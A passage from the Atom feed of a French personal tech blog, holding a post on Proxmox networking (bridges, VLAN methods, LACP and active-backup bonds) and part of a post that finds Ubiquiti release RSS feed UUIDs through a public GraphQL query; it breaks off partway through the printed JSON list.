        <summary type="html"><![CDATA[Après tout ce temps sans rien écrire, il faut bien que je me rattrape.]]></summary>
        <content type="html"><![CDATA[<p>Après tout ce temps sans rien écrire, il faut bien que je me rattrape.</p>
<p>Aujourd'hui, que ce soit pour monter un petit lab personnel ou gérer une infrastructure professionnelle, plusieurs solutions s'offrent à nous :</p>
<ul>
<li class="">
<p><strong>Les hyperviseurs de type 1</strong> (ou <em>bare-metal</em>) : il s'agit d'un système d'exploitation dédié à la virtualisation, installé directement sur le matériel, sans OS hôte intermédiaire. On y retrouve notamment :</p>
<ul>
<li class=""><code>VMware ESXi</code> — solution payante, dont le coût peut rapidement devenir prohibitif sur une infrastructure de taille décente.</li>
<li class=""><code>Proxmox VE</code> — solution open-source, gratuite (avec option payante pour un support professionnel et des mises à jour de sécurité prioritaires). Elle est largement adoptée, aussi bien dans les labs à la maison que dans les environnements professionnels.</li>
</ul>
</li>
<li class="">
<p><strong>Les hyperviseurs de type 2</strong> (ou <em>hosted</em>) : il s'agit d'applications qui s'installent par-dessus un OS existant (Windows, Linux, macOS…). La virtualisation est donc soumise aux performances et à la stabilité de l'OS hôte. On retrouve :</p>
<ul>
<li class=""><code>VMware Workstation</code> — principalement disponible sous Windows et Linux.</li>
<li class=""><code>VirtualBox</code> — multiplateforme, et entièrement gratuit.</li>
</ul>
</li>
</ul>
<p>Peu importe la solution choisie, la configuration réseau sera toujours incontournable. Dans cet article, je me concentre sur la partie Proxmox, mais je couvrirai probablement les autres solutions dans de futurs articles.</p>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>Acronymes utilisés dans cet article</div><div class="admonitionContent_BuS1"><ul>
<li class=""><code>VM</code> : <strong>V</strong>irtual <strong>M</strong>achine — machine virtuelle.</li>
<li class=""><code>OS</code> : <strong>O</strong>perating <strong>S</strong>ystem — système d'exploitation.</li>
<li class=""><code>VLAN</code> : <strong>V</strong>irtual <strong>L</strong>ocal <strong>A</strong>rea <strong>N</strong>etwork — réseau local virtuel.</li>
</ul></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-le-réseau-est-il-si-important-">Pourquoi le réseau est-il si important ?<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#pourquoi-le-r%C3%A9seau-est-il-si-important-" class="hash-link" aria-label="Lien direct vers Pourquoi le réseau est-il si important ?" title="Lien direct vers Pourquoi le réseau est-il si important ?" translate="no">​</a></h2>
<p>Quand on travaille avec des infrastructures virtualisées, il est essentiel de garder en tête le <a class="" href="https://docs.bastienbonora.fr/docs/protocol/Le-modele-OSI">modèle OSI</a>. Le réseau intervient à pratiquement toutes ses couches : transport des trames (couche 2), adressage IP (couche 3), gestion des flux (couche 4), jusqu'aux couches applicatives.</p>
<p>Une infrastructure bien conçue commence toujours par une configuration réseau solide — et dans le cas de Proxmox, cela commence dès la configuration de l'hyperviseur lui-même, avant même de parler de ce à quoi le serveur est connecté physiquement.</p>
<hr>
<h1>Le réseau dans Proxmox</h1>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="identifier-ses-interfaces-physiques">Identifier ses interfaces physiques<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#identifier-ses-interfaces-physiques" class="hash-link" aria-label="Lien direct vers Identifier ses interfaces physiques" title="Lien direct vers Identifier ses interfaces physiques" translate="no">​</a></h2>
<p>La première étape est de bien identifier les interfaces réseau physiques présentes sur le serveur et de comprendre à quoi elles correspondent dans Proxmox. Sur certains châssis (avec des ports SFP+, des ports 10G, du 1G…), il est facile de se retrouver avec une dizaine d'interfaces aux noms peu explicites. Prendre le temps de les cartographier évite bien des erreurs par la suite.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="le-bridge-linux--le-cœur-du-réseau-proxmox">Le bridge Linux — le cœur du réseau Proxmox<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#le-bridge-linux--le-c%C5%93ur-du-r%C3%A9seau-proxmox" class="hash-link" aria-label="Lien direct vers Le bridge Linux — le cœur du réseau Proxmox" title="Lien direct vers Le bridge Linux — le cœur du réseau Proxmox" translate="no">​</a></h2>
<p>Proxmox s'appuie sur le concept de <strong>bridge Linux</strong>, qui se comporte exactement comme un switch virtuel. C'est l'élément central autour duquel tout le réseau de l'hyperviseur s'organise.</p>
<p>Lorsqu'on associe une interface physique à un bridge, on branche virtuellement le serveur à ce switch — tout trafic externe peut alors y circuler. Cette association est donc à réaliser avec soin.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="créer-un-réseau-virtuel-privé">Créer un réseau virtuel privé<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#cr%C3%A9er-un-r%C3%A9seau-virtuel-priv%C3%A9" class="hash-link" aria-label="Lien direct vers Créer un réseau virtuel privé" title="Lien direct vers Créer un réseau virtuel privé" translate="no">​</a></h2>
<p>L'objectif d'un réseau virtuel privé est de permettre à plusieurs VM de communiquer entre elles <strong>sans que le trafic ne sorte physiquement du serveur</strong>. C'est utile pour isoler des environnements (dev, prod, DMZ…) ou simuler des topologies réseau complexes.</p>
<p>Pour créer ce type de réseau dans Proxmox, on ajoute une nouvelle interface de type <strong>Linux Bridge</strong> depuis la section réseau du nœud physique :</p>
<p><img decoding="async" loading="lazy" alt="Créer un bridge Linux" src="https://docs.bastienbonora.fr/assets/images/LinuxBridgeProxmox-404bf788313787e4cbabd4da603c21ae.png" width="1192" height="516" class="img_ev3q"></p>
<p>Quelques paramètres importants à connaître :</p>
<ul>
<li class=""><strong>Bridge ports</strong> : permet d'associer le bridge à une ou plusieurs interfaces physiques (liaison de niveau 2). Si ce champ reste vide, le bridge est entièrement isolé du réseau physique.</li>
<li class=""><strong>VLAN aware</strong> : active la gestion des VLANs sur le bridge, le transformant en switch "manageable". Indispensable si on souhaite faire circuler du trafic tagué.</li>
<li class=""><strong>IPv4 / IPv6</strong> : attribue une adresse IP à Proxmox sur ce bridge. Utile si l'hyperviseur lui-même doit communiquer avec les VM ou les équipements de ce segment.</li>
</ul>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>À garder en tête</div><div class="admonitionContent_BuS1"><p>Associer une interface physique à un bridge rend ce dernier accessible depuis l'extérieur. Si vous réutilisez un VLAN déjà présent sur votre réseau physique, vous risquez d'autoriser des accès non prévus entre vos segments. Anticipez toujours les implications avant de lier une interface physique.</p></div></div>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="méthode-1--tagger-le-vlan-directement-sur-la-vm">Méthode 1 — Tagger le VLAN directement sur la VM<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#m%C3%A9thode-1--tagger-le-vlan-directement-sur-la-vm" class="hash-link" aria-label="Lien direct vers Méthode 1 — Tagger le VLAN directement sur la VM" title="Lien direct vers Méthode 1 — Tagger le VLAN directement sur la VM" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>Prérequis pour le bridge</div><div class="admonitionContent_BuS1"><ul>
<li class="">Aucune interface physique liée</li>
<li class=""><strong>VLAN Aware</strong> activé</li>
<li class="">Pas d'IP attribuée à Proxmox sur ce bridge</li>
</ul></div></div>
<p>Une fois le bridge configuré, il est possible d'assigner un tag VLAN directement au niveau de l'interface réseau de chaque VM :</p>
<p><img decoding="async" loading="lazy" alt="Ajouter un tag VLAN directement à une VM" src="https://docs.bastienbonora.fr/assets/images/VmVlan-35de7f6142a190cd9f3ac4ef357d6668.png" width="1186" height="354" class="img_ev3q"></p>
<p>Toutes les VM partageant le même tag VLAN forment un réseau isolé entre elles. C'est la méthode la plus souple : elle permet de faire cohabiter plusieurs VLANs sur un seul bridge, avec une granularité par VM.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="méthode-2--un-bridge-dédié-sans-vlan">Méthode 2 — Un bridge dédié sans VLAN<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#m%C3%A9thode-2--un-bridge-d%C3%A9di%C3%A9-sans-vlan" class="hash-link" aria-label="Lien direct vers Méthode 2 — Un bridge dédié sans VLAN" title="Lien direct vers Méthode 2 — Un bridge dédié sans VLAN" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>Prérequis pour le bridge</div><div class="admonitionContent_BuS1"><ul>
<li class="">Aucune interface physique liée</li>
<li class=""><strong>VLAN Aware</strong> désactivé</li>
<li class="">Pas d'IP attribuée à Proxmox</li>
</ul></div></div>
<p>La méthode la plus simple. Le bridge joue le rôle d'un switch non manageable : toutes les VM qui y sont connectées se trouvent dans le même segment réseau et communiquent directement entre elles. Pas de notion de VLAN, pas de configuration supplémentaire.</p>
<p>Idéale pour des environnements simples ou des labs où l'isolation fine n'est pas requise.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="méthode-3--utiliser-un-linux-vlan-interface-vlan-dédiée">Méthode 3 — Utiliser un Linux VLAN (interface VLAN dédiée)<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#m%C3%A9thode-3--utiliser-un-linux-vlan-interface-vlan-d%C3%A9di%C3%A9e" class="hash-link" aria-label="Lien direct vers Méthode 3 — Utiliser un Linux VLAN (interface VLAN dédiée)" title="Lien direct vers Méthode 3 — Utiliser un Linux VLAN (interface VLAN dédiée)" translate="no">​</a></h3>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>Prérequis pour le bridge</div><div class="admonitionContent_BuS1"><ul>
<li class="">Aucune interface physique liée</li>
<li class=""><strong>VLAN Aware</strong> activé</li>
<li class="">Pas d'IP attribuée à Proxmox</li>
</ul></div></div>
<p>Cette méthode est moins répandue et rarement recommandée dans les ressources que j'ai consultées — la méthode 1 couvre généralement le même besoin de façon plus directe. Je la documente tout de même car on la croise parfois dans des configurations existantes.</p>
<p>Elle consiste à créer une <strong>interface Linux VLAN</strong> en plus du bridge :</p>
<p><img decoding="async" loading="lazy" alt="Créer un Linux VLAN" src="https://docs.bastienbonora.fr/assets/images/LinuxVlan-f23d076378f89e3ff7531ba555127fba.png" width="1200" height="560" class="img_ev3q"></p>
<p>Dans le champ <strong>VLAN raw device</strong>, on renseigne le nom du bridge suivi du tag VLAN, par exemple : <code>vmbr1.10</code> pour le VLAN 10 sur le bridge <code>vmbr1</code>. Cette interface VLAN est ensuite sélectionnée comme interface réseau dans les VM concernées.</p>
<div class="theme-admonition theme-admonition-info admonition_xJq3 alert alert--info"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></span>Cas d'usage avancé</div><div class="admonitionContent_BuS1"><p>En attribuant une IP à cette interface VLAN et en liant une interface physique (plutôt qu'un bridge), on peut configurer Proxmox lui-même pour communiquer sur un VLAN spécifique — pratique pour segmenter l'accès à l'interface d'administration.</p></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-types-de-liaisons-avancées">Les types de liaisons avancées<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#les-types-de-liaisons-avanc%C3%A9es" class="hash-link" aria-label="Lien direct vers Les types de liaisons avancées" title="Lien direct vers Les types de liaisons avancées" translate="no">​</a></h2>
<p>Au-delà des bridges classiques, Proxmox propose deux types de liaisons supplémentaires particulièrement utiles dans certains contextes.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="agrégation-de-liens-lacp--bond">Agrégation de liens (LACP / Bond)<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#agr%C3%A9gation-de-liens-lacp--bond" class="hash-link" aria-label="Lien direct vers Agrégation de liens (LACP / Bond)" title="Lien direct vers Agrégation de liens (LACP / Bond)" translate="no">​</a></h3>
<p>L'agrégation de liens consiste à regrouper plusieurs interfaces physiques en une seule interface logique. L'objectif principal est d'<strong>augmenter la bande passante disponible</strong> et, dans certains modes, d'apporter de la redondance.</p>
<p>Dans Proxmox, on crée une interface de type <strong>Bond</strong> en mode <strong>LACP (802.3ad)</strong>. On y ajoute les ports à agréger (séparés par des virgules, sans espace), et on configure la <strong>hash policy</strong>, qui détermine comment le trafic est réparti entre les liens.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Synchronisation avec le switch</div><div class="admonitionContent_BuS1"><p>La hash policy doit être configurée de manière cohérente <strong>des deux côtés</strong> : sur Proxmox et sur le switch en face. Un mauvais alignement peut entraîner des performances inférieures à ce qu'un seul lien offrirait.</p></div></div>
<p>Pour aller plus loin sur le sujet, deux ressources utiles :</p>
<ul>
<li class=""><a href="https://lafibre.info/serveurs/serveurs-proxmox-lacp/" target="_blank" rel="noopener noreferrer" class="">lafibre.info — LACP Proxmox</a></li>
<li class=""><a href="https://www.virtualizationhowto.com/2026/01/i-tried-lacp-in-my-proxmox-home-lab-and-heres-what-actually-happened/" target="_blank" rel="noopener noreferrer" class="">virtualizationhowto — LACP Proxmox</a></li>
</ul>
<blockquote>
<p>Je consacrerai probablement un article dédié à LACP — la répartition du trafic entre les liens est plus subtile qu'il n'y paraît, et les compromis entre latence et débit méritent d'être détaillés.</p>
</blockquote>
<p>Une fois le bond créé, on l'utilise comme interface <strong>slave</strong> des bridges ou VLAN que l'on crée ensuite.</p>
<hr>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="lien-de-secours-active-backup">Lien de secours (Active-Backup)<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#lien-de-secours-active-backup" class="hash-link" aria-label="Lien direct vers Lien de secours (Active-Backup)" title="Lien direct vers Lien de secours (Active-Backup)" translate="no">​</a></h3>
<p>Ce type de liaison met en place une logique <strong>maître/esclave</strong> : l'interface secondaire ne devient active que si Proxmox détecte une défaillance sur l'interface principale. C'est une forme de redondance réseau gérée directement par l'hyperviseur.</p>
<p>Je le trouve utile à connaître, même si en pratique, cette logique de failover est généralement mieux gérée par un pare-feu ou un équipement réseau placé en amont — qui a une vision plus globale de l'état du réseau.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="crédits">Crédits<a href="https://docs.bastienbonora.fr/blog/Les-Reseaux-Proxmox#cr%C3%A9dits" class="hash-link" aria-label="Lien direct vers Crédits" title="Lien direct vers Crédits" translate="no">​</a></h2>
<p>On progresse souvent seul, mais rarement sans les ressources que d'autres ont prises le temps de partager. Cet article doit beaucoup à cette vidéo, qui m'a permis de mieux appréhender les mécanismes réseau de Proxmox :</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/zx5LFqyMPMU?si=mploUJFoPjKQuhEg" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin"></iframe>
<p>Ainsi qu'aux blogs cités tout au long de l'article :</p>
<ul>
<li class=""><a href="https://lafibre.info/serveurs/serveurs-proxmox-lacp/" target="_blank" rel="noopener noreferrer" class="">lafibre.info — LACP Proxmox</a></li>
<li class=""><a href="https://www.virtualizationhowto.com/2026/01/i-tried-lacp-in-my-proxmox-home-lab-and-heres-what-actually-happened/" target="_blank" rel="noopener noreferrer" class="">virtualizationhowto — LACP Proxmox</a></li>
</ul>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
        <category label="Linux" term="Linux"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Liste Flux RSS Ubiquiti]]></title>
        <id>https://docs.bastienbonora.fr/blog/Liste-Flux-RSS-Ubiquiti</id>
        <link href="https://docs.bastienbonora.fr/blog/Liste-Flux-RSS-Ubiquiti"/>
        <updated>2026-04-25T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[J'ai depuis un petit moment été pris par mon nouveau travail au sein d'un opérateur internet lcoalisé en Haute-Savoie.]]></summary>
        <content type="html"><![CDATA[<p>J'ai depuis un petit moment été pris par mon nouveau travail au sein d'un opérateur internet lcoalisé en Haute-Savoie.</p>
<p>Utilisant une certaine quantité de matériel Ubiquiti, j'ai eu la volonté de réaliser un suivi des dernières failles de sécurité, suivi de mise à jour des différents matériel qu'Ubiquiti propose. Très rapidement, je suis tombé des quand je n'ai trouvé aucune list officielle recensée permettant de faire ainsi un suivi avec des flux RSS.</p>
<p>Evidemment, si j'écris ce document c'est que j'ai fini par trouver cette liste et je me devais de la partager. Au final, Ubiquiti eux-même l'utilise constamment pour récupérer leur propre news... Enfin bref, j'ai du mal à comprendre leur motivation qui les pousse à ne pas la rendre officielle, mais voilà la méthode pour la récupérer (je vous laisse également la liste complète à la fin de ce document).</p>
<h1>Liste D'ubiquiti</h1>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="point-de-départ">point de départ<a href="https://docs.bastienbonora.fr/blog/Liste-Flux-RSS-Ubiquiti#point-de-d%C3%A9part" class="hash-link" aria-label="Lien direct vers point de départ" title="Lien direct vers point de départ" translate="no">​</a></h2>
<p>Logiquement, si vous recherchez un petit peu en ligne, je suis presque certain que vous tomberez sur des articles de la communauté d'Ubiquiti qui mentionnent ce lien :</p>
<ul>
<li class=""><a href="https://community.ui.com/rss/releases/UniFi-Access-Point-Switch-LTE/9fc3b2fa-9e73-449a-924f-470e79884470" target="_blank" rel="noopener noreferrer" class="">https://community.ui.com/rss/releases/UniFi-Access-Point-Switch-LTE/9fc3b2fa-9e73-449a-924f-470e79884470</a></li>
</ul>
<p>Il traîne sur reddit et sur la commu d'ubiquiti, je n'ai pas pu mettre la main sur une liste (elle existe peut-être quelque part qui sait). On voit surtout qu'il y a un UUID (identifiant unique) dans l'URL. Alors un simple test, essayez d'aller sur cette URL :</p>
<ul>
<li class=""><a href="https://community.ui.com/rss/releases/URL-Completement-Bidon/9fc3b2fa-9e73-449a-924f-470e79884470" target="_blank" rel="noopener noreferrer" class="">https://community.ui.com/rss/releases/URL-Completement-Bidon/9fc3b2fa-9e73-449a-924f-470e79884470</a></li>
</ul>
<p>Vous devriez atteindre exactement la même page malgré que j'ai ajouté <code>URL-Completement-Bidon</code> dans cette dernière. Cela signifie une chose :</p>
<p>L'UUID est le seul maître de la réponse. Donc il me suffit de trouver une liste des UUID et on aura une liste complète.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupérer-la-liste-complète">Récupérer la liste complète<a href="https://docs.bastienbonora.fr/blog/Liste-Flux-RSS-Ubiquiti#r%C3%A9cup%C3%A9rer-la-liste-compl%C3%A8te" class="hash-link" aria-label="Lien direct vers Récupérer la liste complète" title="Lien direct vers Récupérer la liste complète" translate="no">​</a></h2>
<p>Concrètement en se rendant dans la page officielle d'ubiquiti community : <a href="https://community.ui.com/releases" target="_blank" rel="noopener noreferrer" class="">community.ui.com</a></p>
<p>Cette page contient toutes les informations de la communauté, mais surtout les dernières mises à jour de sécurité ! Je me suis dis que c'était un bon point de départ. En regardant les requêtes web effectuées, un domaine se démarque : community.svc.ui.com. De tous les domaines qui sont requêtés, il est les seul qui sort du lot.</p>
<p>EN regardant les réponses des requêtes faites à ce site, vous devriez tomber sur une requête comme :</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">operationName	</span><span class="token string" style="color:#e3116c">"GetPublicReleaseGroups"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">query	</span><span class="token string" style="color:#e3116c">"query GetPublicReleaseGroups {\n publicReleaseGroups {\n id\n title\n __typename\n }\n}"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">variables	</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Et dans la réponse se trouve tous les UUID ainsi que toutes les description des flux.</p>
<p>Maintenant aucune idée de pourquoi cette liste n'est pas publique alors qu'elle est littéralement accessible au public. Mais bon, c'est ce que j'ai utilisé dans Glance donc ça m'arrange.</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">   </span><span class="token property" style="color:#36acaa">"data"</span><span class="token operator" style="color:#393A34">:</span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">      </span><span class="token property" style="color:#36acaa">"publicReleaseGroups"</span><span class="token operator" style="color:#393A34">:</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"b850332f-28d8-4cf1-b8e4-a2bbf51a7a57"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"airCube"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"1c2d883c-c57e-4459-9204-89ebc6532d87"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"airFiber"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"c3d7ca26-e82d-4729-8a87-73eedf164a16"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"airMAX"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"d7bdae7d-5b0c-40d8-a561-f0bd7f6f1dcf"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"AmpliFi"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"id"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"9b21e6e1-8cb6-4306-ac4c-e8e687c39510"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"title"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"Community Update"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">            </span><span class="token property" style="color:#36acaa">"__typename"</span><span class="token operator" style="color:#393A34">:</span><span class="token string" style="color:#e3116c">"PublicReleaseGroup"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">         </span><span class="token punctuation" 